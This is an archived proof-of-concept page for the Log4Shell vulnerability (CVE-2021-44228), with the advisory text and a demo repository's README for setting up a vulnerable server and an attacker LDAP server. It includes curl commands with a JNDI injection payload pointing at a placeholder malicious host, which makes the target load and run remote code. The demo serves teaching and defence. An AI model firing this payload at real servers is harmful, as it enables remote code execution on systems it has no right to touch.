Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source
Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
Demo to show how Log4Shell / CVE-2021-44228 vulnerability works
Readme
# Log4Shell in action

This project aims to demonstrate how the Log4Shell / CVE-2021-44228 vulnerability works.

## Requirements

You only need to have Docker installed. Ideally you have two different virtual machines. One for the _vulnerable server_ and one for the _malicious server_ that will host the malicious codebase and a LDAP server.

Optionally you have _Make_ and _Docker Compose_ installed but this is **not** necesarry since this repo also contains a `make.sh` to skip these requirements and use them from within a docker container.

## Install Docker (optionally)

If you haven't already, here are the steps to install Docker on a Debian VM. You can use these steps: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46

## Download the repository

```
git clone git@github.com:mschmnet/Log4Shell-demo.git 
```

## Install vulnerable server

```
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
```

## Start malicious server

This will start a basic LDAP server and basic Python server to serve the malicious Java classes.

You need to provide the IP address or domain name where these servers will be available

```
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
``` 

## How to attack the target server

```
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint

```
or just 
```
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
```

where `${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}` is just URL encoded


## How to stop any of them

```
../make.sh stop
```

## How to show the logs 

```
../make.sh logs 
```

## Slides

https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf
File Snapshot

[4.0K] /data/pocs/90d4d9419ecd735cd6973fbc8521d19c2c3434ef ├── [4.0K] html │   ├── [4.0K] img │   │   ├── [ 60K] apache-versions.png │   │   └── [168K] Log4Shell_logo.png │   └── [ 55K] slides.htm ├── [4.0K] img │   ├── [ 60K] apache-versions.png │   └── [168K] Log4Shell_logo.png ├── [1012] Makefile ├── [ 160] make.sh ├── [4.0K] malicious-server │   ├── [4.0K] codebase │   │   ├── [ 242] Dockerfile │   │   ├── [ 623] pom.xml │   │   └── [4.0K] src │   │   └── [4.0K] main │   │   └── [4.0K] java │   │   └── [1.1K] Exploit.java │   ├── [ 298] docker-compose.yml │   ├── [ 236] Makefile │   └── [4.0K] marshalsec │   └── [ 522] Dockerfile ├── [4.0K] pdf │   └── [375K] slides.pdf ├── [2.0K] README.md ├── [2.8K] slides.md └── [4.0K] vulnerable-server ├── [ 137] docker-compose.yml ├── [ 219] Dockerfile ├── [ 181] Makefile ├── [9.8K] mvnw ├── [6.5K] mvnw.cmd ├── [2.0K] pom.xml └── [4.0K] src ├── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] net │   │   └── [4.0K] mschm │   │   └── [4.0K] log4shell │   │   └── [4.0K] vulnerableserver │   │   ├── [ 557] Controller.java │   │   └── [ 355] VulnerableWebServerApplication.java │   └── [4.0K] resources │   ├── [ 1] application.properties │   ├── [ 466] log4j2.xml │   └── [4.0K] static │   └── [ 90] index.html └── [4.0K] test └── [4.0K] java └── [4.0K] net └── [4.0K] mschm └── [4.0K] log4shell └── [4.0K] vulnerableserver └── [ 241] VulnerableWebServerApplicationTests.java 26 directories, 28 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →